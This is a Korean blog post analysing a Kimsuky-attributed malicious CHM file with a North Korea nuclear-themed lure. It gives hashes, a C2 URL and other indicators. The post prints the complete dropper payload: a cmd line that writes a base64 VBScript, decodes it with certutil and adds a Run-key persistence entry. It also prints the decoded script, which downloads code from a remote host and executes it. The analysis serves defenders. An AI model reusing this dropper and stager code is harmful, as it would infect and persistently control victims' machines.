디지털포렌식/악성코드 샘플 분석

[Kimsuky] 북의 핵위협 양상과 한국의 대응방향.chm

Lhaaan 2024. 2. 2. 13:24

chm 악성코드에 대한 내용들을 보다가 분석할 만한 샘플이 있어 분석을 해보았다. 비교적 간단한 파일이라서 분석하는데 어렵진 않았다.

 

파일 구성


  • 파일명: 북의 핵위협 양상과 한국의 대응방향.chm
  • 해시값
    • MD5: 364d4fdf430477222fe854b3cd5b6d40
    • SHA-1: b5224224fdbabdea53a91a96e9f816c6f9a8708c
    • SHA-256: c62677543eeb50e0def44fc75009a7748cdbedd0a3ccf62f50d7f219f6a5aa05

 

 

chm 파일 분석


  • Microsoft HTML Help Workshop을 통해 해당 파일 내부에 있는 구성 파일들을 다 추출
  • 추출 시 3가지 파일이 나오는 것을 알 수 있음

  • home.html에 악성 스크립트가 삽입되어 있을 것이라 추측됨, 바이러스 토탈에 3개 파일을 다 올려보자
  • home.html이 바이러스토탈 엔진에 잡히는 것을 알 수 있다. 그러면 home.html을 중점적으로 분석해보자

 

 

home.html


  • 맨 끝에 부분에 악성 스크립트가 들어가 있는 것을 확인할 수 있었다.
  • shortcut 객체를 하나 만들어서 실행되게 함
  • 중요한건 Item1의 value 값에 들어가있는 코드이다.
<OBJECT id=shortcut classid="clsid:52a2aaae-085d-4187-97ea-8c30db990436" width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap:shortcut">
<PARAM name="Item1" value=',cmd, /c echo T24gRXJyb3IgUmVzdW1lIE5leHQNCg0KU2V0IG14ID0gQ3JlYXRlT2JqZWN0KCJNaWNyb3NvZnQuWE1MSFRUUCIpDQpteC5vcGVuICJHRVQiLCAiaHR0cDovLzAwNzAxMTExLjAwMHdlYmhvc3RhcHAuY29tL3dwLWV4dHJhL3Nob3cucGhwP3F1ZXJ5PTUwIiwgRmFsc2UNCm14LlNlbmQNCg0KRXhlY3V0ZShteC5yZXNwb25zZVRleHQp >"%USERPROFILE%\Links\MXFhejJ3c3gzZWRjA.dat" & start /MIN certutil -decode "%USERPROFILE%\Links\MXFhejJ3c3gzZWRjA.dat" "%USERPROFILE%\Links\MXFhejJ3c3gzZWRjA.vbs" & start /MIN REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Document /t REG_SZ /d "%USERPROFILE%\Links\MXFhejJ3c3gzZWRjA.vbs" /f'>
<PARAM name="Item2" value="273,1,1">

</OBJECT>
<script>
shortcut.Click();
</SCRIPT>
value=',cmd, /c echo T24gRXJyb3IgUmVzdW1lIE5leHQNCg0KU2V0IG14ID0gQ3JlYXRlT2JqZWN0KCJNaWNyb3NvZnQuWE1MSFRUUCIpDQpteC5vcGVuICJHRVQiLCAiaHR0cDovLzAwNzAxMTExLjAwMHdlYmhvc3RhcHAuY29tL3dwLWV4dHJhL3Nob3cucGhwP3F1ZXJ5PTUwIiwgRmFsc2UNCm14LlNlbmQNCg0KRXhlY3V0ZShteC5yZXNwb25zZVRleHQp >"%USERPROFILE%\Links\MXFhejJ3c3gzZWRjA.dat" & start /MIN certutil -decode "%USERPROFILE%\Links\MXFhejJ3c3gzZWRjA.dat" "%USERPROFILE%\Links\MXFhejJ3c3gzZWRjA.vbs" & start /MIN REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Document /t REG_SZ /d "%USERPROFILE%\Links\MXFhejJ3c3gzZWRjA.vbs" /f'>

 

  • 아래에 있는 문자열이 MXFhejJ3c3gzZWRjA.dat 파일에 들어가게 되는데, certutil을 통해 복호화 된다.
    • T24gRXJyb3IgUmVzdW1lIE5leHQNCg0KU2V0IG14ID0gQ3JlYXRlT2JqZWN0KCJNaWNyb3NvZnQuWE1MSFRUUCIpDQpteC5vcGVuICJHRVQiLCAiaHR0cDovLzAwNzAxMTExLjAwMHdlYmhvc3RhcHAuY29tL3dwLWV4dHJhL3Nob3cucGhwP3F1ZXJ5PTUwIiwgRmFsc2UNCm14LlNlbmQNCg0KRXhlY3V0ZShteC5yZXNwb25zZVRleHQp
  • 복호화 시에 dat 파일에 있는 데이터를 vbs 파일에 저장한다. 따라서 vbs를 실행시키려고 하는 것이 목적
    • start /MIN certutil -decode "%USERPROFILE%\Links\MXFhejJ3c3gzZWRjA.dat" "%USERPROFILE%\Links\MXFhejJ3c3gzZWRjA.vbs"
  • 그 후에는 레지스트리를 등록해서 지속성을 유지하려는 것으로 확인된다.
    • start /MIN REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Document /t REG_SZ /d "%USERPROFILE%\Links\MXFhejJ3c3gzZWRjA.vbs"

 

MXFhejJ3c3gzZWRjA.vbs


  • certutil을 통해 복호화를 수행하였다.
    • certutil에 대해 공부를 자세히 해보지 않아서 정확히 무엇인지는 나중에 공부할 예정..

 

  • 코드를 보아하니 C2에서 새로운 악성코드를 다운로드 받거나 트로이목마로 동작하는 놈인것으로 추정된다.. C2는 닫혀있으니 분석은 여기까지!
On Error Resume Next

Set mx = CreateObject("Microsoft.XMLHTTP")
mx.open "GET", "http://00701111.000webhostapp.com/wp-extra/show.php?query=50", False
mx.Send

Execute(mx.responseText)

 

IOC


  • MD5
    • 364d4fdf430477222fe854b3cd5b6d40
  • C2
    • http://00701111.000webhostapp.com/wp-extra/show.php